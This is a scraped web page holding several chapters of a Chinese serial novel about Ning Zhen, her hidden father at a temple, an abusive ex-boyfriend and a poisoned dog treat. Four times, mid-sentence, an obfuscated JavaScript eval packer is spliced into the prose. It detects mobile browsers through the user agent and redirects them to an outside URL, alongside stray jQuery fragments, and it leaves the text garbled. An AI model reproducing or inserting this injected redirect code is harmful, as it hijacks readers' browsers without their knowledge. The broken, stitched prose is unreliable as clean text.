姐姐消失了,大概她也是来过暑假的。童年晕染得朦胧,他怨她没有好好道别,又期盼来年和她一起跳舞。于是温霖走上了这条路,学舞,学她跳的古典,哪怕跳得浑身伤痛。当然,这个动机,他没有告诉李肃。 “这样……” 女人吸着烟,让尼古丁调动心里的东西。苦闷蒸腾的日子,谁肯出门去喊蓁蓁回家?姥姥,没离婚的小宇爸,还是焦头烂额牵着小宇的自己?她记不得了。 温霖说:“当年只能算一面之缘。” 李肃疲惫地笑笑:“你奶奶家住故城路吧,我们在那儿的职工宿舍住过,后来搬走了。” “不巧。”他感慨。 “舞蹈老师说蓁蓁形体不错,是个好苗子,可惜最后也没坚持下去。” 他抬眼,沉默注视着飘落的烟灰。 李肃清楚那都是些场面话。夏天,兴许就是搬家那年,蓁蓁学舞的事露馅儿了,惹得五十多岁的父亲大发雷霆。外甥女低头挨骂,她只管收拾茶几底下的暖壶碎片,没帮腔。其实她站在父亲那一边。世上会跳舞的人多了,能吹鸟哨的却只有她…… “您是,”温霖蓦然开口,“师姐的小姨吧。” “……” 满屋白雾,她把烟蒂撵进烟灰缸,两只手搭在腿上交握着,再也提不起嘴角。 “我们习惯喊‘小姨’。” “唔,是啊。” “但她一直叫您‘姨妈’。” “姨妈”是南边雨城传来的称呼,他们不常用。温霖第一次听见时就留心,暗暗猜过师姐的意图。 半个母亲。她如此期待。 周围静得可怕,李肃长长吐了一口气,后背都弓了下去。 “你见过她大腿上的胎记么,像不像产钳夹出来的淤青?” “没有,”温霖一时语塞,“我们……” 他想解释我们不是这么亲密的关系,可李肃理解错了。 “哎,也是,你们年轻人应该没见过产钳。那你知道蓁蓁出生那天么?” 绷紧的气球划了道口子,里头的懊恼悔恨一股脑全泄出来。 “我站在手术室外面,爸妈也在,有个医生出来了,戴着口罩,我看见爸妈的嘴在动,看见医生举着手,手套上全是血,里面好像有婴儿的哭声。 “他们说话,我听不清,感觉过道的床啊,座椅啊花砖啊离我特别远。” 家人踩着预产期送她去医院,原本欢喜的一天,却迎来医生遗憾的宣告。 抢救失败,对不住。 死因,羊水栓塞,他们尽力了。 ——“我没有哥哥,也没有见过爸妈,妈妈在我出生的时候就死了。” 温霖耳边响起师姐在房车内的自白。 “好端端的一个人,推进去的时候还笑呢,还说等天冷了去看太平鸟,怎么再推出来,床上就盖着白布了……” 他低下头,不让水汽蔓延。 “这么多年,我不知道怎么对蓁蓁。” 李肃几乎梦呓一般。 姐死了二十七年,犹如太平鸟消失于北城的那些年。 温霖端起水杯,花茶热气熏进眼,一片模糊。 “为什么?”他觉得自己明知故问。 嘭。 蓝色火苗,她又点了根烟。 “因为,蓁蓁和她妈妈,长得实在太像了。” 50. 我最讨厌的人 1. 毫不夸张地说,第一次看见宁蓁,我就讨厌她。 我打包票,那天是9月11号。 因为我的入学通知书上写着9月10号,我比她先到。宿舍楼又旧又破,四人间,上床下桌,木头门软绵绵的,连镜子都没有,就进门的地方摆了个铁皮储物柜。我进去时床已经铺了两张,底下的柜子也被七七八八堆满,后来的只能搬着凳子站上去,踮着脚够最上面的。 我不忿,白了她俩一眼,她们没看见。那个叫楠楠的比我高,按理说她才应该用顶上那两格。 “怎么一个宿舍还要分成两天报到?” 当天夜里我们趁着熄灯小声聊天。对面床是凌雪,挂着和雪毫无关系的紫罗兰色床帘。 “人太多了呗!”楠楠说。 凌雪又问:“分批报到,不按学院和专业分?” 我想起新生群的八卦:“听说我们班有个女生退学。” “退学?考上北A的经济学院金融系然后退学?我靠,真有胆量。” 楠楠痛彻心扉,五官在手机的光亮里乱飞。我不知道有什么好惋惜,那不都是她自己选的?但好多年以后我突然醒悟——如果那个人没退学就好了,那样,我和宁蓁就永远是两条平行线了。 2. 她第一次进门的时候我瞥了一眼。 背挺得笔直,脖子修长,脑后扎了个低马尾,耳朵边龇出几根碎头发。衣服显得朴素,一件白色连衣裙,底下翻着褶,没熨平。 好像风尘仆仆来的,拖着行李,轮子压得地板吱吱响。 我没讲话,而她说了声你好。 “……我叫宁蓁。” “路筱梦。” 我们交换姓名,接着室友们掀开了门。 “哇哦!” “你是我们班的?还是1班?” 她俩嘴里的“wa”和“o”拼成一个“wo”。楼道那边也噪声连天,我听见有人窃窃私语,说好漂亮什么的。 切,大惊小怪。 漂亮女生多了,她这种的,我高中隔壁就有好几个。 3. 学校北门旁边有条巷子,那天晚上我们三个走着去五金店购置穿衣镜。 对,是三个,不是四个,因为宁蓁要开人文学院新生会。 “蓁蓁竟然是哲学系的。” “哦哟,哲学系,高大上啊。” “他们人文院今年只招了一个班吧。” “那谁知道,”我说,“跟咱们有关系吗?” 我们学院历来是A大的招牌,金融系又是重点中的重点,分数线至少比其他专业高二三十分。我们拥有最优秀的学生、最顶级的资源,从入学起就注定站在金字塔尖。 楠楠笑说:“也是,人文院的楼和我们离得远着呢。” 巷子里乱哄哄,挤满灰头土脸的新生。我们进了家小五金店,挨个站到全身穿衣镜前,凌雪和楠楠都穿着裤子,只有我穿衬衫和格子短裙,裙子底下是一双白皙的长腿。 就决定要它了,楠楠说着想和老板砍价。 “老板,我们刚入学,能便宜点吗?” “哎呀,这个嘛,便宜五块行不?” 我刚准备掏钱包,结果被凌雪抢先。 “才五块,您再便宜点嘛!” “五块钱还不够便宜呀?” “那大不了我们再去其他家看看呢。” 她俩砍起价来没完没了,搞得我有点烦,五块钱而已,有什么好纠缠的…… 我嫌丢脸,先去门口等,无聊地扫视街上所有人。过一会儿,两名高高的男生越走越近,他们在找人,我觉得目标是我。 “嗨,同学,加个微信好友?”其中一个开口。 我心脏怦怦跳,仰起头打量他们,故作镇定地摇头,附以微笑。 先小小推开,他们才追得更紧。 但没料到那时候楠楠和凌雪出来了,两人一前一后扛着镜子。 “筱梦,快来帮忙!” 她俩大声吆喝,我也不方便再和他们推拉,只好过去接住那件易碎品。走几步再回头,男生们已经不见踪影。 哼,没耐心。 我内心埋怨,却在路口等红灯时偷偷给高中闺蜜发消息。 「我被学校里的男生搭讪了,嘻嘻」 她不像以前秒回,信号灯变绿,我也忙收起手机。 到宿舍楼下天都暗了。楠楠艰难掏出校园卡滴一声,楼道里吵吵嚷嚷,说“新生得登记住宿信息”,围着宿管阿姨的小桌子排起长队。 “筱梦,你去吧,我们先去装镜子!” 她们回去肯定一阵叮铃咣当,我倒庆幸不用参与。登记的那些信息我都记得,我们学号连着,昨天都在学校里办了新手机号,前面十个数字一模一样,尾号我是6,楠楠7,凌雪8。 只有宁蓁的我不知道。 甚至,她婉拒了电信营业厅的推销。她不需要多一串号码,因为她是高贵的北城本地人。 4. 九月最后一天,军训终于熬到了头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15071777|163236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 回去路上大巴车掉了链子,停靠在荒郊野岭,等学校调度新车救援。车上躁动不安,辅导员安抚着大家情绪,我们坐车尾,根本听不见她在说什么。 “决定好待会儿吃啥没?”楠楠大敲我的椅背。 我说牛蛙火锅,凌雪也说牛蛙火锅加一。 “这么刺激!不愧是你们,沿海长大的崽。” 我俩老家靠海,但那又和牛蛙火锅没关系。 “对了,叫蓁蓁一起不?” “哦,回去问问吧?” 我不讲话,正好辅导员开始大喊,让全体同学下车。 “走了走了。”我站起来催促。 换车之后大家陆续睡着,撂下了吃饭的事。睡醒已经抵达停车场,我一睁眼,看见离大巴车三个车位远的地方停着一辆漆黑的轿车,黑得油亮反光。 保时捷卡宴?经院果然卧虎藏龙。 宿舍楼里人来人往,尤其我们寝那一间。凌雪和楠楠跟上去凑热闹,我不着急挤进去,而且她们的声音隔着门也听得到。 ——“我们是A大学生会的,邀请你一起参与制作新版校园宣传片……” ——“参与制作,我可以帮到什么忙吗?” ——“具体是想请你出镜担任女主角。” ——“啊,这样的话……” 我感觉脑子嗡的一声,浑身的汗毛都竖起来。 5. 最后宁蓁没答应学生会的邀请。 “高贵”二字已经不足以形容她了,换个词吧,应该说她假清高。 有一天周五,我看见她蹑手蹑脚把衣服塞进一个大编织袋。 “你在干嘛?”我交叉着胳膊,像警察发现偷偷摸摸的贼。 宁蓁转身看我,淡淡地说收拾衣服。 “你要回家啊。” 她好像被猜中似的,踌躇着回答:“唔,洗衣房人太多了。” “蓁蓁,”我假装皱起眉毛,“你不会有洁癖吧。” 对方笑得很勉强:“应该没有啊……” 我扭头继续翻桌上的英语书,顺便抄起手机打字。 「蓁蓁今天晚上回家,不在宿舍住」 楠楠:「家离得近真好耶」 凌雪:「她以后每周都回家?」 楠楠:「羡慕咯」 凌雪:「嫉妒喽」 群里只有我们三人,群名“一营二连冲冲冲”。没有孤立谁的意思,只是因为军训期间我们和人文院的不在一起,不需要与宁蓁沟通。 51. 是流浪猫干的.1 天气预报说,北城今日阴转小雨,二十三摄氏度,夜间降温超过八度,注意保暖。 宁蓁推开窗户。窗外弥漫着死气沉沉的潮湿,树枝被压弯了,叶片几乎能捻出水滴。 六月,北城还是春天。 今年气象异常,城市好像陷入泥淖,只有日历在增减,一个又一个七天不断轮回。 她受不了那股湿气,关上窗户。 「师姐今天还好吗?」 「最近想不想出去走走,观鸟或者去海边」 上午师弟发来消息,她暂时没回。她已经好几次当着他的面崩溃,如果整理不好自己,她害怕还有下一次。 墙上的钟指向四点。 先出门寻觅晚饭吧。宁蓁随手拎起挂在门口的帆布包,包上的拉链还卡着一撮灰白的毛。 咚。 咚咚咚。 正在穿鞋,外面突然激起一阵敲门声。 她开个小缝,浓郁的玫瑰香水味淅淅沥沥渗过来。 “你……” 宁蓁心跳顿时漏了一拍。 男人看见她的模样,笑了。 “准备去吃晚餐,一起么。” 莫昭用肩膀抵住门,皮鞋尖已经踩进门框。 他不是在征求意见。 总要有这么一天。宁蓁攥紧帆布包的袋子,抬起眼睛。 “好,我也正想和你聊聊。” * 事到如今,他不知道有没有必要再来一趟。 天灰着,山是蓊郁的绿,笼了层水汽似的,看样子要下雨。 进山时,温霖开得缓慢。车是哥哥的,不如自己的称手。上周他们决定换着开几天,以防被人摸透了行踪。听起来莫名其妙,但今早发生的意外证明他没有多心。 树海中央,寺宇照旧与鹭山相望。今日香火旺盛,参拜的游客不少,大多借着寺名求个好兆头。 福缘于此地,这在他身上灵验了。 但同样缘于此地的东西,是师姐所期望的吗? “师兄,向您想打听一下今天厨房师傅在哪儿。” 上过香,温霖拦住一位眼熟的义工,大概之前与师姐共事过。 “后厨有两位师傅,”对方回答,“您问哪位。” 来新人了,但他的目标非常明确。 “我想找姓宁的那位。” * 白昼正在逐渐拉长,直到夏至那天。 宁蓁坐进副驾驶,系好安全带看着窗外。残阳燃烧殆尽,却烧不掉空气里黏腻的湫湿。 四点十分,车子向东边飞驰,离太阳越来越远。 “你最近挺忙,电话不接,消息也不回。” 他嘴角朝上,看不出一点埋怨,反而像在调情。 她想起手机里一通通陌生来电,至少六七个号码。“那些都是你打的?” “我让手底下的人联络宁小姐,他们用了最笨的方式。” 漆黑轿车绕过环岛。莫昭一味地笑,轻松把方向盘打满。 重心失衡,她又开始晕车了。 “联络我干什么。” “表示感激,请你吃饭。”他说,“中餐,西餐,米其林?” 语气不是问句。和过去一样,他早就安排好了,别人无权决定。 “你好像不欠我东西。” 她尽力往后靠,看着车顶。 莫昭笑着摇头,似乎拿她没办法。 “我欠了,欠了份大的。” 她忽然心感不妙。 红灯。车停了,可以做很多事。男人悠然挽起袖口,露出胳膊上的青筋,像被墨水浸泡过一样。 “慕容殊背叛了成理,我最大的死对头。董事会已经不再信任他,鸿鹄计划是我们的了。” 他的薄唇弯成锐利的形状。 “……” 宁蓁没有接话。 莫昭侧身,镜片后的双目深情注视着她。 “蓁蓁,谢谢你为我做的一切,我爱你。” * 找到他时,他正在林子里拆鸟网。 那人穿着简单的褂子,肚子有些隆着,圆脸庞,头发几乎剃光了。中年,略微发福,年纪对得上,口音也是本地的。 他们曾经见过一面。当时他笑眯眯和师姐寒暄,把温霖认成她的男友。 这回,还是师傅先打招呼。 “小伙子,又观鸟来啦。”他戴着手套,一边说话一边仰头扯着树枝上的网。 温霖走过去帮忙,黑色的单丝细线混入密林,有时连人眼都难以辨认。 师傅脱下一只手套递去,让他别嫌弃。 “这种鸟网的线就这么细,鸟儿一撞上,脚就缠住了,怎么逃得出来呢,你说是不是。” “是,”温霖用手套裹住金属丝,从枝杈上剥离,“但我看周围没有农田。” “没有田,有市啊。”师傅长叹一声。 “您的意思是……有人在鹭山捕鸟从事非法贸易。” “嗐,之前没事儿在附近瞎逛,跟护林员聊了几句。他说有人在这儿放生过一批鸟,从南边运来的,临交货的时候突然反悔了。” 生活在南方的鸟,放生仪式。 ——红耳鹎。 果然,除了活体运输,它们没有其他原因现身北城。 林间鸟鸣忽远忽近,攒成乱糟糟的一团。有些叽叽喳喳叫着,繁衍,迁徙,有些却注定活不过冬天。 见不得光的非法行为……难道只是个插曲么? 他暗暗起了疑心。 “对了小伙子,你经常来山上吧……” 师傅一用力,拽断了根树杈,叶子窸窸窣窣落下来。 温霖俯身拾起尼龙线,外衣兜里藏着的物件坚硬地滑到腰侧。 “我想顺道问问,你看没看见一个哨子,有点儿旧,吹出来的声音和鸟儿叫差不多。” 那张脸仍然笑眯眯的,可他听得出来,其实对方根本不抱希望。 只是顺带着问一句。 问一句,就能留个念想。 “当然。”温霖站起来,把尼龙线捆成一卷,右手伸向口袋,“在我这儿。” 安唯在山上捡到的鸟哨,后来转交给宁蓁。哨子早已老旧发黄,表面留下磕磕碰碰的划痕,至少制作于四五年前。 对,至少。 如果保存得当,就算二十几年,也不是没有可能。 他今天的目的,是来代替师姐物归原主。 “我的朋友宁蓁说,福缘寺有一双一直窥视她的眼睛。” 温霖故意念重了她的姓名。 视线里,师傅捧来两只粗砺的手掌,克制着失而复得的激动,郑重地接住那支鸟哨。 “那个人……是您吧。” * 车窗紧闭。玫瑰香味愈发浓烈,心脏像个水泵,浸得整个后背潮湿淋漓。 红灯太漫长,莫昭点了根烟,尼古丁的雾气缭绕氤氲。 “我做的一切?” 宁蓁盯着前方刺眼的红光,装作若无其事。 “嗯?”男人慵懒回应,“慕容殊在婚礼上的戏,不是你在帮忙么。” 她脑内骤然一声轰鸣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15091625|163236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他知道了。 策划殊姐出逃的那件事,他知道了。 “我……” 她没想好要怎么掩饰,正巧莫昭在此时打断她。 “你一个人在婚礼现场乱窜,肯定有什么目的。”他笑得颇为满意,“可我没想到你真能帮我扳倒成理。” 烟味呛入鼻腔,宁蓁忍不住咳嗽两下。 没错,是我一个人。 至少他没怀疑到小唯她们头上,不能再让他追究下去。 “不对。”她试图转移话题。 “哪里不对?”他玩味地挑起眉毛。 红灯变黄再变绿。 “你不爱我。” 你爱我,却在我面前抽烟,让我淹在恶心的焦油里。那不是爱,可惜她二十岁出头的时候不懂。 车子随前方车流行进,启动一瞬间把她身子往后甩。 莫昭没有解释,只是笑:“我不像五岁小孩,还得证明。” 她抬眼,悬臂指示牌从头顶飞掠而过,蓝底白字,右转箭头指向郊区。 “蓁蓁,你也不需要。”他继续说,“身体的反应不会骗人。” 男人游刃有余,似乎亲耳听见了宁蓁胸口的心跳。 每分钟一百二十次。 的确,她的心脏正在狂跳不已。 “那是因为我喝了咖啡吃了芒果,咖啡因过量,加上不耐受的食物。” 上回在餐厅,莫昭把芒果甜点推到她眼前。 “哦?”他饶有兴趣,“你对芒果过敏么。” 宁蓁忽然觉得那个随意的举动并不简单。 “……你知道我吃芒果有这种反应。” 她抱着怀疑说出这句话。 “是吗,我不记得。” 不,你记得。 大学的时候我还照顾不好自己,没听说过咖啡因过敏,也搞不清哪种食物让我心悸眩晕。 但是你清楚,因为你曾经在同一家餐厅、同一个位置,把同样的芒果甜点递给我。 ——“你的性格的确会导致这一点……你太敏感,太没有安全感,让人觉得很累。” 年轻的她委屈得泪流满面,那时,莫昭给她的芒果慕斯插上了汤匙。 ——“即便如此我还是爱你。” ——“吃甜品吧,能让人开心点。” 宁蓁想起来了。 那晚,莫昭已经发现她对芒果制品不耐受。她说自己头晕乎乎的,心跳很快,怎么回事。年长的男友搂着她的肩,体贴安慰道,你只是太焦虑了。 他一直记得。 她的背开始麻木,渗出冷汗,连带脖颈僵硬起来。 一定不止这一件事,莫昭记着的,她却忘了的事。还有什么…… 车子突然急停,又一个十字路口的红灯。 玫瑰香味,烟味,男人单手搭在方向盘上,嘴边的笑意与五年前无异。 “就算过敏,你不是也自愿吃了么?” 一句云淡风轻的话,在“自愿”二字上倾斜重心。 她无可反驳,所有选择都是她自己做的。 “上回有咖啡芒果,现在呢。现在你的心跳不是一样快?” 莫昭以善用的反问句结尾,掐了烟。 她捂住口鼻,心悸,头痛,又隐隐地晕车。车窗慢慢降下,风吹进来,却缓解不了身心的苦闷。 直到男人左手拿出一个方盒,殷红的缎面,啪的一声拨开。 是钻戒,曾经在山间雨夜被宁蓁冷冷拒绝。 “拿着吧,蓁蓁。过了今晚,我们就结婚。” 52. 是流浪猫干的.2 阴天气压低,喜鹊几乎贴地而行。 师傅只顾着笑,颊肉堆在下颌两边,笑到脸快僵了。 “真是谢谢啊……谢谢。”他一边说,头一边埋下去,埋进两只手里,仿佛深深鞠了一躬。 旧鸟哨的主人,温霖没有找错。 信息是安唯透露的,当初她跑来和沐沐玩拔河游戏,向他提起寮房内的谈话。 ——“但其他人都称呼姓,只有蓁蓁是全名加‘师兄’。” ——“哦,为啥?” ——“因为有同姓的人吧。” ——“姓宁的人不算常见诶,你说寺里还有谁和蓁蓁同姓?” 安唯没时间再深究,便把线索留给他。 “我昨天见过李肃阿姨。”温霖表明来意。 “……她妈妈的妹妹,我们也好多年没联络喽。” 鸟哨被小心翼翼收进胸前的口袋。师傅又清理起捕鸟网,一棵树接着一棵,好像天黑也干不完。 温霖跟着往林深处走去。 “您一直在福缘寺工作么。” “是啊,算算也有二十七年啦。这边儿清净,我炒炒菜做做杂物,混口饭吃。” 二十七年正好是师姐的年纪。她有惊人的直觉,微醺时曾经说过爸爸“也许出家了”,而事实是他就藏在这座寺里。 所以温霖不知道有没有必要再来一趟——寻找一个坏掉的生身父亲。近三十年不曾抛头露面,比他出轨的烂爹还要残忍。 询问?质问?问他凭什么不回去抚养女儿?可他没有资格,因为他只是个局外人。 天色浓稠,鸟鸣混乱地起伏。 “您还没回答我的问题。”温霖说。 宁师傅那边一不留神,让金属丝刺破了手指。 “对,我是多看了几眼……”血珠渗出来,他随便抹在袖口,依旧笑呵呵的,“她和她妈妈长得那叫一个像,傻子都能认得……看见她平平安安长大,我也安心了。” 平安? 一根缠网的树枝被温霖干脆折断。 不,师姐分明是勉强撑着成长到今天。 ——“她父亲这么多年一次都没出现过?” 他们移动到阳台,李肃连抽了三根烟,眯眼望着楼下的路。 ——“从蓁蓁出生那天就……怪他们原本□□爱了,姐夫受不起打击……” 从一开始就落荒而逃,如今却感慨她的长大令人“安心”。可他知道师姐曾经经历过什么吗?知道虐鸟案让鸟哨降为诅咒,她得依靠心理咨询维持正常的生活吗? 创伤是无法用肉眼衡量的。 他不想再透露师姐的过去,一个字都不想。 “我们在林子里见过墓碑,上面没有字。”温霖平静叙述着,“清明节的时候碑前放了水果。” 宁师傅读懂潜台词,承认了。 “是我竖的碑。” 他不停撕扯着鸟网,身躯稍显笨拙,脚印深深浅浅陷进潮湿的泥土里。劳动,劳动,劳动,气喘粗了,汗水从额角滴下来,劳动能撬开他的嘴。 “……她妈妈的遗物我只带走两支鸟哨,地下埋一支,随身留着一支。每年清明放点儿果子,小鸟儿们过来聚一聚,别让她孤单。” 提起这些时,宁师傅没露过一丝苦相。与李肃不一样,好像在福缘寺呆久了,被山间雨水淘洗得只剩微笑。 温霖说不准那份豁达是真是假。 扯掉最后一块捕鸟网,他们已经走进鹭山深处。灰蒙蒙的雨云积在天上,随时要倾泻而下。 “对了小伙子,你养的狗真漂亮。” 宁师傅话锋一转。 “是叫边境牧羊犬吧……今天怎么没带来?” * 宁蓁突然惊醒几分。 她没听错,对方的确说了“结婚”。 “我想你有很多对象可以选择,”她别过脸看向车窗外面,“我不是最好的。” 这次信号灯飞快变绿。莫昭把钻戒抛在扶手箱上,丝绒的圆角磕出一声闷响。 “我们之间哪里有别人。”男人说得满不在乎,好像话外有话。 “没有吗?” 宁蓁模仿他,用反问句,同时作为回答。 莫昭抬手调一下后视镜,唇角翘起,像一片薄冰。 “看来我给你的自由太多了。婚礼几个小时能让新娘逃婚,平时指不定干出什么……” 语调向下坠,声音越来越低。宁蓁正要开口,他一个急刹,轿车的惯性硬生生扼死她的喉咙。 “你……!” “高速上减速,他妈的,会不会开车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15098733|163236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 莫昭爆了句粗口,胳膊上青筋隆起。 可是前车真的减速了么? 她抚平呼吸,开始怀疑自己。 “别紧张,”他语气又放缓,似乎刚才的暴怒只是幻觉,“马上到了。” 夕阳烧得太快,十五分钟便完全陷落。天悄悄暗了,青蓝色深一块、浅一块地搅着。 天气预报说今天有雨,东边却是一片晴天。 她不知道莫昭要带她去哪儿。 “饿了吧。”他问。 “不饿。”她说。 莫昭不理会她的冷淡,抽出右手往她腿上探,动作熟稔,和五年前一样。 五年前…… 宁蓁想躲,但那只手悬在她大腿上方,蓦然变了方向。 他莫名去开副驾驶的手套箱。 哗—— 她心脏霎时收紧。 手套箱的盖子翻了,开肠破肚,黑乎乎的东西从里面爬出来,全部流到她腿上。 锋利的塑料锯齿刺痛手背。她慌慌张张想收拾,却发现怎么塞都塞不回去。 太多太多了,多到两条手臂都被埋起来。 她拿起其中一枚,恍惚地撞向包装上的“99%”。 黑巧克力。 心脏再没松快过,扑通扑通猛烈游走,浑身都被攥紧。 上次她坐在这里吃,吃得狼吞虎咽,吃到嘴里磨出溃疡。 现在她终于明白为什么。 因为那时沐沐从车外飞奔而过。它是小狗啊,这些东西与毒药无异…… 那个场景诱使她创伤发作,发疯似的吞掉所有威胁,她眼睛泛红,手在发抖,而莫昭就坐在身边眼睁睁看着。 不对,不是看着。 是……欣赏。 如果她有余力捕捉,会看见他藏在镜片后面流连忘我的眼神。 “我姐以前养狗,”男人忽然张开嘴,“西施犬,小东西一个,见人就咬,我给它吃了巧克力。” 宁蓁咬紧牙,说不出话。 “畜生就是畜生,怎么都养不熟。”他嗤笑。 头好晕,背上冷汗浸湿了衣服,胃在翻腾。眼前模糊到重影,她抽泣般呼吸着,掏出自己的手机。 发给温霖,快点! 「沐沐在哪?」 53. 是流浪猫干的.3 雨飘起来了。 空气里升起湿润的泥土气味,沐沐最喜欢这股味道。 温霖每天都遛狗,从它被实验组淘汰那天起,风雨无阻。今天早晨一切照常,给沐沐系上牵引绳,乘电梯下楼,让它沿着小区的紫丁香一路嗅闻,收集雨水来临前的气息。 环境的变化对于小狗而言新鲜有趣。沐沐算让人省心的,伸缩绳可以稍微放长,但当它一头扎进密密丛丛的树根时,他还是慌了。 “回来!” 绳子就是生命线,他不可能再忘记这一点。 温霖瞬间回拽,把沐沐拉出灌木丛。 阴天,光线不够充足。沐沐鼻头一吸一吸,嘴巴里似乎含着什么。 他说吐。 口令必须明确简洁,不能拖沓,不能激动,不能额外增加刺激妨碍小狗的思维正常运转。也不能抢,不能掰开它的嘴,否则它以为自己寻到了宝,要拼了命往下咽。 温霖都明白,他相信沐沐能做到,但那一刻心里仍忍不住苦苦哀求。 吐出来。 千万别吃掉…… 好在沐沐照做了。它知道怎么吐,脑袋放低舌头一弹,顶出一块异物。 “Goodgirl。” 周围过分安静,只留下风吹树叶的沙沙声。他手心捧着冻干零食给沐沐,趁机捡起地上的东西。是一小段肉肠,肉质松散,发红,散发着奇怪的味道。 脏器?鱼腥味? 渐渐松懈的神经再次紧绷。他站在原地掰开,肉肠的横截面赫然白了一块。 肠里夹着药片。 沐沐舔舔嘴,抬头,蓝眼睛渴望地看着他。 它接受过拒食训练,没有指令不会主动捡拾地上的食物。 除非刺激程度太高,超过它当下能处理的阈值,譬如阴雨天带来的复杂气味,叠加浓烈的胺类和硫化物。 ——这块肉肠被天然诱食剂浸泡过。 “最近忙,我送去寄养。”温霖回答。 家附近不安全了。那件事后,他立刻把沐沐送到哥哥家。 “是么,那狗一身毛,真亮,你养得不错。” 宁师傅话音诚恳,除了感慨没有别的意图。 雨线细密,一丝丝没入树海。 鸟鸣逐渐消失,不知道去哪里避雨了。他们挺幸运,收到最后那么长的网,没挂住一只受伤的野鸟。 温霖想给鸟网打结,弯腰时手机不小心从侧兜滑落。他拾起来,特意看了一眼。哥哥发来消息,说沐沐服用了碳片,情况尚可,正在上蹿下跳。 聊天界面没有其他消息。 “下雨了,其余的交给我,你先回吧!”师傅拎着一截网喊道。 他摇头表示帮忙要帮到底。 况且,疑点还在。 福缘寺的眼睛解决了,还剩下一双。 ——“那时候蓁蓁觉得有人跟着我们,后来我偶尔也这么觉得。” ——“我感觉他是个男人……应该很高大,不像学生。” 杭悦曾提起线索,师姐也确认过。 ——“确实有段时间背后跟着一个人,黏糊糊的,不是你。” 上次二中校庆,温霖躲在杨树底下,发现透过操场的围网能轻松窥见校园里面。 人来人往,出席的大多是家长。隔着围网眺望的应该也是家长。时间倒退十年,宁师傅大概四十岁出头。他虽然发福,身量重,长得却不算矮。 “她在北城二中的时候,”他问,“您没去探视过吗?” 雨幕中,那名父亲停下脚步。 * 一条焦黑蜿蜒的蛇在高速路上飞驰。 「沐沐在哪?」 烟雾和玫瑰香水黏腻地扒在皮肤上。她喘不过气,颤颤巍巍碰了碰发送键。 ……按下去了吗? 手在抖,她不知道。 一切来不及确认,下一秒手机突然被莫昭狠狠抽走。 咚! 他抬手往后座扔,吼声从嗓子里压出来,勃然大怒。 “我说了我们之间没有别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15101753|163236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人!” 掐住方向盘的手泛着惨白,胳膊上狰狞的筋一道一道快要爆开。 宁蓁从未见过他这么失控。 怪异的是,她并不感到意外。 “为什么说两遍?我能听清。” 她强行咽下脑海中的眩晕感,稳住呼吸。 沐沐一定没事。 温霖会保护好它,我只需要做我该做的。 “那就好。蓁蓁,别惹我。” 莫昭一拳打在棉花上,没理由再动怒。他阴晴不定的模样拧成一根针,扎进她潮湿的记忆。 滴答、滴答。 手机铃响,男人戴上蓝牙耳机。 “你说。哦,刘总?……让他别做白日梦了,我们飞琼不可能再投一分钱。” 一通商务电话。挂断后,耳边传来短促的哼笑。 “来讨食的人就和路边的流浪猫一样多。” 车子终于驶出高速。 流浪猫,宁蓁捉住关键词。 上周,解离症状最严重的时候,观鸟望远镜里溢出鲜血,染红了地面。 “你……那天撞死了一只猫。” 那绝非无中生有的错觉。 她亲眼目睹莫昭的豪车底下开出一朵血淋淋的黄。散养的?流浪的?有没有和她打过照面? “那怎么了。”莫昭只当她在小题大做,“流浪猫而已,死就死了。” 宁蓁瞪向他:“什么叫‘死就死了’?” “你不是爱鸟么。”男人单手揉着脖子,左右转两下,“鸟是猫的猎物,我撞死猫,还帮了你呢。” 是,红隼可以捕食珠颈斑鸠,猫不行,因为流浪猫不属于真正意义上的野生动物。但你没有权力处置它们,那不是你肆意残害生命的理由。 “瞪我干什么?”莫昭穷追不舍,话里埋着挑衅的刺,“就算生气,也得承认我说的对啊——” 不,他不对。 明明知道他不对,可宁蓁开不了口。 她只能说,我们不要再见面了。 54. 是流浪猫干的.4 雨淹没了他的回答。 